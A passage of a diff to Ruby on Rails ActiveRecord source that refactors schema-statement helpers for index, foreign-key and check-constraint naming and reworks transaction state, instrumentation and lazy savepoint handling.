+        execute "ALTER TABLE #{quote_table_name(table_name)} #{sql_fragments.join(", ")}" unless sql_fragments.empty?
+        non_combinable_operations.each(&:call)
+      end
+
+      def valid_table_definition_options # :nodoc:
+        [:temporary, :if_not_exists, :options, :as, :comment, :charset, :collation]
+      end
+
+      def valid_column_definition_options # :nodoc:
+        ColumnDefinition::OPTION_NAMES
+      end
+
+      def valid_primary_key_options # :nodoc:
+        [:limit, :default, :precision]
+      end
+
+      # Returns the maximum length of an index name in bytes.
+      def max_index_name_size
+        62
+      end
+
       private
+        def generate_index_name(table_name, column)
+          name = "index_#{table_name}_on_#{Array(column) * '_and_'}"
+          return name if name.bytesize <= max_index_name_size
+
+          # Fallback to short version, add hash to ensure uniqueness
+          hashed_identifier = "_" + OpenSSL::Digest::SHA256.hexdigest(name).first(10)
+          name = "idx_on_#{Array(column) * '_'}"
+
+          short_limit = max_index_name_size - hashed_identifier.bytesize
+          short_name = name.truncate_bytes(short_limit, omission: nil)
+
+          "#{short_name}#{hashed_identifier}"
+        end
+
+        def validate_change_column_null_argument!(value)
+          unless value == true || value == false
+            raise ArgumentError, "change_column_null expects a boolean value (true for NULL, false for NOT NULL). Got: #{value.inspect}"
+          end
+        end
+
         def column_options_keys
           [:limit, :precision, :scale, :default, :null, :collation, :comment]
         end
 
         def add_index_sort_order(quoted_columns, **options)
-          if order = options[:order]
-            case order
-            when Hash
-              order = order.symbolize_keys
-              quoted_columns.each { |name, column| column << " #{order[name].upcase}" if order[name].present? }
-            when String
-              quoted_columns.each { |name, column| column << " #{order.upcase}" if order.present? }
-            end
+          orders = options_for_index_columns(options[:order])
+          quoted_columns.each do |name, column|
+            column << " #{orders[name].upcase}" if orders[name].present?
           end
+        end
 
-          quoted_columns
+        def valid_index_options
+          [:unique, :length, :order, :opclass, :where, :type, :using, :comment, :algorithm, :include, :nulls_not_distinct]
         end
 
-        # Overridden by the MySQL adapter for supporting index lengths
+        def options_for_index_columns(options)
+          if options.is_a?(Hash)
+            options.symbolize_keys
+          else
+            Hash.new { |hash, column| hash[column] = options }
+          end
+        end
+
+        # Overridden by the MySQL adapter for supporting index lengths and by
+        # the PostgreSQL adapter for supporting operator classes.
         def add_options_for_index_columns(quoted_columns, **options)
           if supports_index_sort_order?
-            quoted_columns = add_index_sort_order(quoted_columns, options)
+            quoted_columns = add_index_sort_order(quoted_columns, **options)
           end
 
           quoted_columns
         end
 
-        def quoted_columns_for_index(column_names, **options)
-          return [column_names] if column_names.is_a?(String)
-
-          quoted_columns = Hash[column_names.map { |name| [name.to_sym, quote_column_name(name).dup] }]
-          add_options_for_index_columns(quoted_columns, options).values
-        end
-
-        def index_name_for_remove(table_name, options = {})
-          return options[:name] if can_remove_index_by_name?(options)
+        def index_name_for_remove(table_name, column_name, options)
+          return options[:name] if can_remove_index_by_name?(column_name, options)
 
           checks = []
 
-          if options.is_a?(Hash)
-            checks << lambda { |i| i.name == options[:name].to_s } if options.key?(:name)
-            column_names = index_column_names(options[:column])
+          if !options.key?(:name) && expression_column_name?(column_name)
+            options[:name] = index_name(table_name, column_name)
+            column_names = []
           else
-            column_names = index_column_names(options)
+            column_names = index_column_names(column_name || options[:column])
           end
 
-          if column_names.present?
+          checks << lambda { |i| i.name == options[:name].to_s } if options.key?(:name)
+
+          if column_names.present? && !(options.key?(:name) && expression_column_name?(column_names))
             checks << lambda { |i| index_name(table_name, i.columns) == index_name(table_name, column_names) }
           end
 
@@ -1225,7 +1719,7 @@ def index_name_for_remove(table_name, options = {})
 
           if matching_indexes.count > 1
             raise ArgumentError, "Multiple indexes found on #{table_name} columns #{column_names}. " \
-                                 "Specify an index name from #{matching_indexes.map(&:name).join(', ')}"
+              "Specify an index name from #{matching_indexes.map(&:name).join(', ')}"
           elsif matching_indexes.none?
             raise ArgumentError, "No indexes found on #{table_name} with the options provided."
           else
@@ -1233,11 +1727,11 @@ def index_name_for_remove(table_name, options = {})
           end
         end
 
-        def rename_table_indexes(table_name, new_name)
+        def rename_table_indexes(table_name, new_name, **options)
           indexes(new_name).each do |index|
-            generated_index_name = index_name(table_name, column: index.columns)
+            generated_index_name = index_name(table_name, column: index.columns, **options)
             if generated_index_name == index.name
-              rename_index new_name, generated_index_name, index_name(new_name, column: index.columns)
+              rename_index new_name, generated_index_name, index_name(new_name, column: index.columns, **options)
             end
           end
         end
@@ -1255,16 +1749,39 @@ def rename_column_indexes(table_name, column_name, new_column_name)
           end
         end
 
-        def create_table_definition(*args)
-          TableDefinition.new(*args)
+        def create_table_definition(name, **options)
+          TableDefinition.new(self, name, **options)
+        end
+
+        def create_index_definition(table_name, name, unique, columns, **options)
+          IndexDefinition.new(table_name, name, unique, columns, **options)
         end
 
         def create_alter_table(name)
           AlterTable.new create_table_definition(name)
         end
 
+        def validate_create_table_options!(options)
+          unless options[:_skip_validate_options]
+            options
+              .except(:_uses_legacy_table_name, :_skip_validate_options)
+              .assert_valid_keys(valid_table_definition_options, valid_primary_key_options)
+          end
+        end
+
+        def fetch_type_metadata(sql_type)
+          cast_type = lookup_cast_type(sql_type)
+          SqlTypeMetadata.new(
+            sql_type: sql_type,
+            type: cast_type.type,
+            limit: cast_type.limit,
+            precision: cast_type.precision,
+            scale: cast_type.scale,
+          )
+        end
+
         def index_column_names(column_names)
-          if column_names.is_a?(String) && /\W/.match?(column_names)
+          if expression_column_name?(column_names)
             column_names
           else
             Array(column_names)
@@ -1272,26 +1789,105 @@ def index_column_names(column_names)
         end
 
         def index_name_options(column_names)
-          if column_names.is_a?(String) && /\W/.match?(column_names)
+          if expression_column_name?(column_names)
             column_names = column_names.scan(/\w+/).join("_")
           end
 
           { column: column_names }
         end
 
+        # Try to identify whether the given column name is an expression
+        def expression_column_name?(column_name)
+          column_name.is_a?(String) && /\W/.match?(column_name)
+        end
+
+        def strip_table_name_prefix_and_suffix(table_name)
+          prefix = Base.table_name_prefix
+          suffix = Base.table_name_suffix
+          table_name.to_s =~ /#{prefix}(.+)#{suffix}/ ? $1 : table_name.to_s
+        end
+
         def foreign_key_name(table_name, options)
-          identifier = "#{table_name}_#{options.fetch(:column)}_fk"
-          hashed_identifier = Digest::SHA256.hexdigest(identifier).first(10)
           options.fetch(:name) do
+            columns = Array(options.fetch(:column)).map(&:to_s)
+            identifier = "#{table_name}_#{columns * '_and_'}_fk"
+            hashed_identifier = OpenSSL::Digest::SHA256.hexdigest(identifier).first(10)
+
             "fk_rails_#{hashed_identifier}"
           end
         end
 
+        def foreign_key_for(from_table, **options)
+          return unless use_foreign_keys?
+
+          keys = foreign_keys(from_table)
+
+          if options[:_skip_column_match]
+            return keys.find { |fk| fk.defined_for?(**options) }
+          end
+
+          if options[:column].nil?
+            default_column = foreign_key_column_for(options[:to_table], "id")
+            matches = keys.select { |fk| fk.column == default_column }
+            keys = matches if matches.any?
+          end
+
+          keys.find { |fk| fk.defined_for?(**options) }
+        end
+
+        def foreign_key_for!(from_table, to_table: nil, **options)
+          foreign_key_for(from_table, to_table: to_table, **options) ||
+            raise(ArgumentError, "Table '#{from_table}' has no foreign key for #{to_table || options}")
+        end
+
+        def extract_foreign_key_action(specifier)
+          case specifier
+          when "CASCADE"; :cascade
+          when "SET NULL"; :nullify
+          when "RESTRICT"; :restrict
+          end
+        end
+
+        def foreign_keys_enabled?
+          @config.fetch(:foreign_keys, true)
+        end
+
+        def check_constraint_name(table_name, **options)
+          options.fetch(:name) do
+            expression = options.fetch(:expression)
+            identifier = "#{table_name}_#{expression}_chk"
+            hashed_identifier = OpenSSL::Digest::SHA256.hexdigest(identifier).first(10)
+
+            "chk_rails_#{hashed_identifier}"
+          end
+        end
+
+        def check_constraint_for(table_name, **options)
+          return unless supports_check_constraints?
+          chk_name = check_constraint_name(table_name, **options)
+          check_constraints(table_name).detect { |chk| chk.defined_for?(name: chk_name, **options) }
+        end
+
+        def check_constraint_for!(table_name, expression: nil, **options)
+          check_constraint_for(table_name, expression: expression, **options) ||
+            raise(ArgumentError, "Table '#{table_name}' has no check constraint for #{expression || options}")
+        end
+
         def validate_index_length!(table_name, new_name, internal = false)
-          max_index_length = internal ? index_name_length : allowed_index_name_length
+          if new_name.length > index_name_length
+            raise ArgumentError, <<~MSG.squish
+              Index name '#{new_name}' on table '#{table_name}' is too long (#{new_name.length} characters); the limit
+              is #{index_name_length} characters
+            MSG
+          end
+        end
 
-          if new_name.length > max_index_length
-            raise ArgumentError, "Index name '#{new_name}' on table '#{table_name}' is too long; the limit is #{allowed_index_name_length} characters"
+        def validate_table_length!(table_name)
+          if table_name.length > table_name_length
+            raise ArgumentError, <<~MSG.squish
+              Table name '#{table_name}' is too long (#{table_name.length} characters); the limit is
+              #{table_name_length} characters
+            MSG
           end
         end
 
@@ -1302,9 +1898,67 @@ def extract_new_default_value(default_or_changes)
             default_or_changes
           end
         end
+        alias :extract_new_comment_value :extract_new_default_value
+
+        def can_remove_index_by_name?(column_name, options)
+          column_name.nil? && options.key?(:name) && options.except(:name, :algorithm).empty?
+        end
+
+        def reference_name_for_table(table_name)
+          table_name.to_s.singularize
+        end
+
+        def add_column_for_alter(table_name, column_name, type, **options)
+          td = create_table_definition(table_name)
+          cd = td.new_column_definition(column_name, type, **options)
+          schema_creation.accept(AddColumnDefinition.new(cd))
+        end
+
+        def change_column_default_for_alter(table_name, column_name, default_or_changes)
+          cd = build_change_column_default_definition(table_name, column_name, default_or_changes)
+          schema_creation.accept(cd)
+        end
+
+        def rename_column_sql(table_name, column_name, new_column_name)
+          "RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
+        end
+
+        def remove_column_for_alter(table_name, column_name, type = nil, **options)
+          "DROP COLUMN #{quote_column_name(column_name)}"
+        end
+
+        def remove_columns_for_alter(table_name, *column_names, **options)
+          column_names.map { |column_name| remove_column_for_alter(table_name, column_name) }
+        end
+
+        def add_timestamps_for_alter(table_name, **options)
+          options[:null] = false if options[:null].nil?
+
+          if !options.key?(:precision) && supports_datetime_with_precision?
+            options[:precision] = 6
+          end
+
+          [
+            add_column_for_alter(table_name, :created_at, :datetime, **options),
+            add_column_for_alter(table_name, :updated_at, :datetime, **options)
+          ]
+        end
+
+        def remove_timestamps_for_alter(table_name, **options)
+          remove_columns_for_alter(table_name, :updated_at, :created_at)
+        end
+
+        def insert_versions_sql(versions)
+          versions_formatter = ActiveRecord.schema_versions_formatter.new(self)
+          versions_formatter.format(versions)
+        end
+
+        def data_source_sql(name = nil, type: nil)
+          raise NotImplementedError
+        end
 
-        def can_remove_index_by_name?(options)
-          options.is_a?(Hash) && options.key?(:name) && options.except(:name, :algorithm).empty?
+        def quoted_scope(name = nil, type: nil)
+          raise NotImplementedError
         end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
index 6bb072dd73ba6..4300f730407d8 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
@@ -1,10 +1,19 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/digest"
+
 module ActiveRecord
   module ConnectionAdapters
+    # = Active Record Connection Adapters Transaction State
     class TransactionState
-      VALID_STATES = Set.new([:committed, :rolledback, nil])
-
       def initialize(state = nil)
         @state = state
+        @children = nil
+      end
+
+      def add_child(state)
+        @children ||= []
+        @children << state
       end
 
       def finalized?
@@ -12,196 +21,657 @@ def finalized?
       end
 
       def committed?
-        @state == :committed
+        @state == :committed || @state == :fully_committed
+      end
+
+      def fully_committed?
+        @state == :fully_committed
       end
 
       def rolledback?
-        @state == :rolledback
+        @state == :rolledback || @state == :fully_rolledback
+      end
+
+      def fully_rolledback?
+        @state == :fully_rolledback
+      end
+
+      def invalidated?
+        @state == :invalidated
+      end
+
+      def fully_completed?
+        completed?
       end
 
       def completed?
         committed? || rolledback?
       end
 
-      def set_state(state)
-        unless VALID_STATES.include?(state)
-          raise ArgumentError, "Invalid transaction state: #{state}"
-        end
-        @state = state
+      def rollback!
+        @children&.each { |c| c.rollback! }
+        @state = :rolledback
+      end
+
+      def full_rollback!
+        @children&.each { |c| c.rollback! }
+        @state = :fully_rolledback
+      end
+
+      def invalidate!
+        @children&.each { |c| c.invalidate! }
+        @state = :invalidated
+      end
+
+      def commit!
+        @state = :committed
+      end
+
+      def full_commit!
+        @state = :fully_committed
+      end
+
+      def nullify!
+        @state = nil
       end
     end
 
-    class NullTransaction #:nodoc:
-      def initialize; end
+    class TransactionInstrumenter
+      def initialize(payload = {})
+        @handle = nil
+        @started = false
+        @payload = nil
+        @base_payload = payload
+      end
+
+      class InstrumentationNotStartedError < ActiveRecordError; end
+      class InstrumentationAlreadyStartedError < ActiveRecordError; end
+
+      def start
+        raise InstrumentationAlreadyStartedError.new("Called start on an already started transaction") if @started
+        @started = true
+
+        ActiveSupport::Notifications.instrument("start_transaction.active_record", @base_payload)
+
+        @payload = @base_payload.dup # We dup because the payload for a given event is mutated later to add the outcome.
+        @handle = ActiveSupport::Notifications.instrumenter.build_handle("transaction.active_record", @payload)
+        @handle.start
+      end
+
+      def finish(outcome)
+        raise InstrumentationNotStartedError.new("Called finish on a transaction that hasn't started") unless @started
+        @started = false
+
+        @payload[:outcome] = outcome
+        @handle.finish
+      end
+    end
+
+    class NullTransaction # :nodoc:
       def state; end
       def closed?; true; end
       def open?; false; end
       def joinable?; false; end
-      def add_record(record); end
+      def isolation; nil; end
+      def add_record(record, _ = true); end
+      def restartable?; false; end
+      def dirty?; false; end
+      def dirty!; end
+      def invalidated?; false; end
+      def invalidate!; end
+      def materialized?; false; end
+      def before_commit; yield; end
+      def after_commit; yield; end
+      def after_rollback; end
+      def user_transaction; ActiveRecord::Transaction::NULL_TRANSACTION; end
+      def isolation=(_); end
     end
 
-    class Transaction #:nodoc:
-      attr_reader :connection, :state, :records, :savepoint_name
-      attr_writer :joinable
+    class Transaction # :nodoc:
+      class Callback # :nodoc:
+        def initialize(event, callback)
+          @event = event
+          @callback = callback
+        end
+
+        def before_commit
+          @callback.call if @event == :before_commit
+        end
 
-      def initialize(connection, options, run_commit_callbacks: false)
+        def after_commit
+          @callback.call if @event == :after_commit
+        end
+
+        def after_rollback
+          @callback.call if @event == :after_rollback
+        end
+      end
+
+      attr_reader :connection, :state, :savepoint_name, :isolation_level, :user_transaction
+
+      delegate :invalidate!, :invalidated?, to: :@state
+
+      # Returns the isolation level if it was explicitly set, nil otherwise
+      def isolation
+        @isolation_level
+      end
+
+      def isolation=(isolation) # :nodoc:
+        @isolation_level = isolation
+      end
+
+      def initialize(connection, isolation: nil, joinable: true, run_commit_callbacks: false)
+        super()
         @connection = connection
         @state = TransactionState.new
-        @records = []
-        @joinable = options.fetch(:joinable, true)
+        @callbacks = nil
+        @records = nil
+        @isolation_level = isolation
+        @materialized = false
+        @joinable = joinable
         @run_commit_callbacks = run_commit_callbacks
+        @lazy_enrollment_records = nil
+        @dirty = false
+        @user_transaction = joinable ? ActiveRecord::Transaction.new(self) : ActiveRecord::Transaction::NULL_TRANSACTION
+        @instrumenter = TransactionInstrumenter.new(connection: connection, transaction: @user_transaction)
       end
 
-      def add_record(record)
-        records << record
+      def dirty!
+        @dirty = true
       end
 
-      def rollback
-        @state.set_state(:rolledback)
+      def dirty?
+        @dirty
       end
 
-      def rollback_records
-        ite = records.uniq
-        while record = ite.shift
-          record.rolledback!(force_restore_state: full_rollback?)
+      def open?
+        !closed?
+      end
+
+      def closed?
+        @state.finalized?
+      end
+
+      def add_record(record, ensure_finalize = true)
+        @records ||= []
+        if ensure_finalize
+          @records << record
+        else
+          @lazy_enrollment_records ||= ObjectSpace::WeakMap.new
+          @lazy_enrollment_records[record] = record
         end
-      ensure
-        ite.each do |i|
-          i.rolledback!(force_restore_state: full_rollback?, should_run_callbacks: false)
+      end
+
+      def before_commit(&block)
+        if @state.finalized?
+          raise ActiveRecordError, "Cannot register callbacks on a finalized transaction"
         end
+
+        (@callbacks ||= []) << Callback.new(:before_commit, block)
       end
 
-      def commit
-        @state.set_state(:committed)
+      def after_commit(&block)
+        if @state.finalized?
+          raise ActiveRecordError, "Cannot register callbacks on a finalized transaction"
+        end
+
+        (@callbacks ||= []) << Callback.new(:after_commit, block)
+      end
+
+      def after_rollback(&block)
+        if @state.finalized?
+          raise ActiveRecordError, "Cannot register callbacks on a finalized transaction"
+        end
+
+        (@callbacks ||= []) << Callback.new(:after_rollback, block)
+      end
+
+      def records
+        if @lazy_enrollment_records
+          @records.concat @lazy_enrollment_records.values
+          @lazy_enrollment_records = nil
+        end
+        @records
+      end
+
+      # Can this transaction's current state be recreated by
+      # rollback+begin ?
+      def restartable?
+        joinable? && !dirty?
+      end
+
+      def incomplete!
+        @instrumenter.finish(:incomplete) if materialized?
+      end
+
+      def materialize!
+        @materialized = true
+        @instrumenter.start
+      end
+
+      def materialized?
+        @materialized
+      end
+
+      def restore!
+        if materialized?
+          incomplete!
+          @materialized = false
+          materialize!
+        end
+      end
+
+      def rollback_records
+        if records
+          begin
+            ite = unique_records
+
+            instances_to_run_callbacks_on = prepare_instances_to_run_callbacks_on(ite)
+
+            run_action_on_records(ite, instances_to_run_callbacks_on) do |record, should_run_callbacks|
+              record.rolledback!(force_restore_state: full_rollback?, should_run_callbacks: should_run_callbacks)
+            end
+          ensure
+            ite&.each do |i|
+              i.rolledback!(force_restore_state: full_rollback?, should_run_callbacks: false)
+            end
+          end
+        end
+
+        @callbacks&.each(&:after_rollback)
       end
 
       def before_commit_records
-        records.uniq.each(&:before_committed!) if @run_commit_callbacks
+        if @run_commit_callbacks
+          if records
+            if ActiveRecord.before_committed_on_all_records
+              ite = unique_records
+
+              instances_to_run_callbacks_on = records.each_with_object({}) do |record, candidates|
+                candidates[record] = record
+              end
+
+              run_action_on_records(ite, instances_to_run_callbacks_on) do |record, should_run_callbacks|
+                record.before_committed! if should_run_callbacks
+              end
+            else
+              records.uniq.each(&:before_committed!)
+            end
+          end
+
+          @callbacks&.each(&:before_commit)
+        end
+        # Note: When @run_commit_callbacks is false #commit_records takes care of appending
+        # remaining callbacks to the parent transaction
       end
 
       def commit_records
-        ite = records.uniq
-        while record = ite.shift
-          if @run_commit_callbacks
-            record.committed!
-          else
-            # if not running callbacks, only adds the record to the parent transaction
-            record.add_to_transaction
+        if records
+          begin
+            ite = unique_records
+
+            if @run_commit_callbacks
+              instances_to_run_callbacks_on = prepare_instances_to_run_callbacks_on(ite)
+
+              run_action_on_records(ite, instances_to_run_callbacks_on) do |record, should_run_callbacks|
+                record.committed!(should_run_callbacks: should_run_callbacks)
+              end
+            else
+              while record = ite.shift
+                # if not running callbacks, only adds the record to the parent transaction
+                connection.add_transaction_record(record)
+              end
+            end
+          ensure
+            ite&.each { |i| i.committed!(should_run_callbacks: false) }
           end
         end
-      ensure
-        ite.each { |i| i.committed!(should_run_callbacks: false) }
+
+        if @run_commit_callbacks
+          @callbacks&.each(&:after_commit)
+        elsif @callbacks
+          connection.current_transaction.append_callbacks(@callbacks)
+        end
       end
 
       def full_rollback?; true; end
       def joinable?; @joinable; end
-      def closed?; false; end
-      def open?; !closed?; end
+
+      protected
+        def append_callbacks(callbacks) # :nodoc:
+          (@callbacks ||= []).concat(callbacks)
+        end
+
+      private
+        def unique_records
+          records.uniq(&:__id__)
+        end
+
+        def run_action_on_records(records, instances_to_run_callbacks_on)
+          while record = records.shift
+            should_run_callbacks = record.__id__ == instances_to_run_callbacks_on[record].__id__
+
+            yield record, should_run_callbacks
+          end
+        end
+
+        def prepare_instances_to_run_callbacks_on(records)
+          records.each_with_object({}) do |record, candidates|
+            next unless record.trigger_transactional_callbacks?
+
+            earlier_saved_candidate = candidates[record]
+
+            next if earlier_saved_candidate && record.class.run_commit_callbacks_on_first_saved_instances_in_transaction
+
+            # If the candidate instance destroyed itself in the database, then
+            # instances which were added to the transaction afterwards, and which
+            # think they updated themselves, are wrong. They should not replace
+            # our candidate as an instance to run callbacks on
+            next if earlier_saved_candidate&.destroyed? && !record.destroyed?
+
+            # If the candidate instance was created inside of this transaction,
+            # then instances which were subsequently loaded from the database
+            # and updated need that state transferred to them so that
+            # the after_create_commit callbacks are run
+            record._new_record_before_last_commit = true if earlier_saved_candidate&._new_record_before_last_commit
+
+            # The last instance to save itself is likeliest to have internal
+            # state that matches what's committed to the database
+            candidates[record] = record
+          end
+        end
     end
 
-    class SavepointTransaction < Transaction
-      def initialize(connection, savepoint_name, options, *args)
-        super(connection, options, *args)
-        if options[:isolation]
+    # = Active Record Restart Parent \Transaction
+    class RestartParentTransaction < Transaction
+      def initialize(connection, parent_transaction, **options)
+        super(connection, **options)
+
+        @parent = parent_transaction
+
+        if isolation_level
           raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
         end
-        connection.create_savepoint(@savepoint_name = savepoint_name)
+
+        @parent.state.add_child(@state)
       end
 
+      delegate :materialize!, :materialized?, :restart, :isolation, to: :@parent
+
       def rollback
-        connection.rollback_to_savepoint(savepoint_name)
-        super
+        @state.rollback!
+        @parent.restart
       end
 
       def commit
-        connection.release_savepoint(savepoint_name)
+        @state.commit!
+      end
+
+      def full_rollback?; false; end
+    end
+
+    # = Active Record Savepoint \Transaction
+    class SavepointTransaction < Transaction
+      def initialize(connection, savepoint_name, parent_transaction, **options)
+        super(connection, **options)
+
+        @parent_transaction = parent_transaction
+        parent_transaction.state.add_child(@state)
+
+        if isolation_level
+          raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
+        end
+
+        @savepoint_name = savepoint_name
+      end
+
+      # Delegates to parent transaction's isolation level
+      def isolation
+        @parent_transaction.isolation
+      end
+
+      def isolation=(isolation) # :nodoc:
+        @parent_transaction.isolation = isolation
+      end
+
+      def materialize!
+        connection.create_savepoint(savepoint_name)
         super
       end
 
+      def restart
+        return unless materialized?
+
+        @instrumenter.finish(:restart)
+        @instrumenter.start
+
+        connection.rollback_to_savepoint(savepoint_name)
+      end
+
+      def rollback
+        unless @state.invalidated?
+          connection.rollback_to_savepoint(savepoint_name) if materialized? && connection.active?
+        end
+        @state.rollback!
+        @instrumenter.finish(:rollback) if materialized?
+      end
+
+      def commit
+        connection.release_savepoint(savepoint_name) if materialized?
+        @state.commit!
+        @instrumenter.finish(:commit) if materialized?
+      end
+
       def full_rollback?; false; end
     end
 
+    # = Active Record Real \Transaction
     class RealTransaction < Transaction
-      def initialize(connection, options, *args)
+      def materialize!
+        if joinable?
+          if isolation_level
+            connection.begin_isolated_db_transaction(isolation_level)
+          else
+            connection.begin_db_transaction
+          end
+        else
+          connection.begin_deferred_transaction(isolation_level)
+        end
+
         super
-        if options[:isolation]
-          connection.begin_isolated_db_transaction(options[:isolation])
+      end
+
+      def restart
+        return unless materialized?
+
+        @instrumenter.finish(:restart)
+
+        if connection.supports_restart_db_transaction?
+          @instrumenter.start
+          connection.restart_db_transaction
         else
-          connection.begin_db_transaction
+          connection.rollback_db_transaction
+          materialize!
         end
       end
 
       def rollback
-        connection.rollback_db_transaction
-        super
+        if materialized?
+          connection.rollback_db_transaction
+          connection.reset_isolation_level if isolation_level
+        end
+        @state.full_rollback!
+        @instrumenter.finish(:rollback) if materialized?
       end
 
       def commit
-        connection.commit_db_transaction
-        super
+        if materialized?
+          connection.commit_db_transaction
+          connection.reset_isolation_level if isolation_level
+        end
+        @state.full_commit!
+        @instrumenter.finish(:commit) if materialized?
       end
     end
 
-    class TransactionManager #:nodoc:
+    class TransactionManager # :nodoc:
       def initialize(connection)
         @stack = []
         @connection = connection
+        @has_unmaterialized_transactions = false
+        @materializing_transactions = false
+        @lazy_transactions_enabled = true
       end
 
-      def begin_transaction(options = {})
-        run_commit_callbacks = !current_transaction.joinable?
-        transaction =
-          if @stack.empty?
-            RealTransaction.new(@connection, options, run_commit_callbacks: run_commit_callbacks)
-          else
-            SavepointTransaction.new(@connection, "active_record_#{@stack.size}", options,
-                                     run_commit_callbacks: run_commit_callbacks)
+      def begin_transaction(isolation: nil, joinable: true, _lazy: true)
+        @connection.lock.synchronize do
+          run_commit_callbacks = !current_transaction.joinable?
+          transaction =
+            if @stack.empty?
+              RealTransaction.new(
+                @connection,
+                isolation: isolation,
+                joinable: joinable,
+                run_commit_callbacks: run_commit_callbacks
+              )
+            elsif current_transaction.restartable?
+              RestartParentTransaction.new(
+                @connection,
+                current_transaction,
+                isolation: isolation,
+                joinable: joinable,
+                run_commit_callbacks: run_commit_callbacks
+              )
+            else
+              SavepointTransaction.new(
+                @connection,
+                "active_record_#{@stack.size}",
+                current_transaction,
+                isolation: isolation,
+                joinable: joinable,
+                run_commit_callbacks: run_commit_callbacks
+              )
+            end
+
+          unless transaction.materialized?
+            if @connection.supports_lazy_transactions? && lazy_transactions_enabled? && _lazy
+              @has_unmaterialized_transactions = true
+            else
+              transaction.materialize!
+            end
           end
+          @stack.push(transaction)
+          transaction
+        end
+      end
 
-        @stack.push(transaction)
-        transaction
+      def disable_lazy_transactions!
+        materialize_transactions
+        @lazy_transactions_enabled = false
       end
 
-      def commit_transaction
-        transaction = @stack.last
+      def enable_lazy_transactions!
+        @lazy_transactions_enabled = true
+      end
 
-        begin
-          transaction.before_commit_records
-        ensure
-          @stack.pop
+      def lazy_transactions_enabled?
+        @lazy_transactions_enabled
+      end
+
+      def dirty_current_transaction
+        current_transaction.dirty!
+      end
+
+      def restore_transactions
+        return false unless restorable?
+
+        @stack.each(&:restore!)
+
+        true
+      end
+
+      def restorable?
+        @stack.none?(&:dirty?)
+      end
+
+      def materialize_transactions
+        return if @materializing_transactions
+
+        if @has_unmaterialized_transactions
+          @connection.lock.synchronize do
+            begin
+              @materializing_transactions = true
+              @stack.each { |t| t.materialize! unless t.materialized? }
+            ensure
+              @materializing_transactions = false
+            end
+            @has_unmaterialized_transactions = false
+          end
         end
+      end
 
-        transaction.commit
-        transaction.commit_records
+      def commit_transaction
+        @connection.lock.synchronize do
+          transaction = @stack.last
+
+          begin
+            transaction.before_commit_records
+          ensure
+            @stack.pop
+          end
+
+          dirty_current_transaction if transaction.dirty?
+
+          transaction.commit
+          transaction.commit_records
+        end
       end
 
       def rollback_transaction(transaction = nil)
-        transaction ||= @stack.pop
-        transaction.rollback
-        transaction.rollback_records
-      end
-
-      def within_new_transaction(options = {})
-        transaction = begin_transaction options
-        yield
-      rescue Exception => error
-        if transaction
-          rollback_transaction
-          after_failure_actions(transaction, error)
-        end
-        raise
-      ensure
-        unless error
-          if Thread.current.status == "aborting"
-            rollback_transaction if transaction
-          else
-            begin
-              commit_transaction
-            rescue Exception
-              rollback_transaction(transaction) unless transaction.state.completed?
-              raise
+        @connection.lock.synchronize do
+          transaction ||= @stack.last
+          begin
+            transaction.rollback
+          ensure
+            @stack.pop if @stack.last == transaction
+          end
+          transaction.rollback_records
+        end
+      end
+
+      def within_new_transaction(isolation: nil, joinable: true)
+        isolation ||= @connection.pool.pool_transaction_isolation_level
+        @connection.lock.synchronize do
+          transaction = begin_transaction(isolation: isolation, joinable: joinable)
+          begin
+            yield transaction.user_transaction
+          rescue Exception => error
+            rollback_transaction
+            after_failure_actions(transaction, error)
+
+            raise
+          ensure
+            unless error
+              if Thread.current.status == "aborting"
+                rollback_transaction
+              else
+                begin
+                  commit_transaction
+                rescue ActiveRecord::ConnectionFailed
+                  transaction.invalidate! unless transaction.state.completed?
+                  raise
+                rescue Exception
+                  rollback_transaction(transaction) unless transaction.state.completed?
+                  raise
+                end
+              end
             end
           end
+        ensure
+          unless transaction&.state&.completed?
+            @connection.throw_away!
+            transaction&.incomplete!
+          end
         end
       end
 
@@ -214,8 +684,7 @@ def current_transaction
       end
 
       private
-
-        NULL_TRANSACTION = NullTransaction.new
+        NULL_TRANSACTION = NullTransaction.new.freeze
 
         # Deallocate invalidated prepared statements outside of the transaction
         def after_failure_actions(transaction, error)
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index 6b14a498df591..8b2ff3f161905 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -1,52 +1,20 @@
-require "active_record/type"
-require "active_record/connection_adapters/determine_if_preparable_visitor"
-require "active_record/connection_adapters/schema_cache"
+# frozen_string_literal: true
+
 require "active_record/connection_adapters/sql_type_metadata"
 require "active_record/connection_adapters/abstract/schema_dumper"
 require "active_record/connection_adapters/abstract/schema_creation"
+require "active_support/concurrency/null_lock"
+require "active_support/concurrency/load_interlock_aware_monitor"
+require "active_support/concurrency/thread_monitor"
 require "arel/collectors/bind"
+require "arel/collectors/composite"
 require "arel/collectors/sql_string"
+require "arel/collectors/substitute_binds"
 
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
-    extend ActiveSupport::Autoload
-
-    autoload :Column
-    autoload :ConnectionSpecification
-
-    autoload_at "active_record/connection_adapters/abstract/schema_definitions" do
-      autoload :IndexDefinition
-      autoload :ColumnDefinition
-      autoload :ChangeColumnDefinition
-      autoload :ForeignKeyDefinition
-      autoload :TableDefinition
-      autoload :Table
-      autoload :AlterTable
-      autoload :ReferenceDefinition
-    end
-
-    autoload_at "active_record/connection_adapters/abstract/connection_pool" do
-      autoload :ConnectionHandler
-    end
-
-    autoload_under "abstract" do
-      autoload :SchemaStatements
-      autoload :DatabaseStatements
-      autoload :DatabaseLimits
-      autoload :Quoting
-      autoload :ConnectionPool
-      autoload :QueryCache
-      autoload :Savepoints
-    end
-
-    autoload_at "active_record/connection_adapters/abstract/transaction" do
-      autoload :TransactionManager
-      autoload :NullTransaction
-      autoload :RealTransaction
-      autoload :SavepointTransaction
-      autoload :TransactionState
-    end
-
+    # = Active Record Abstract Adapter
+    #
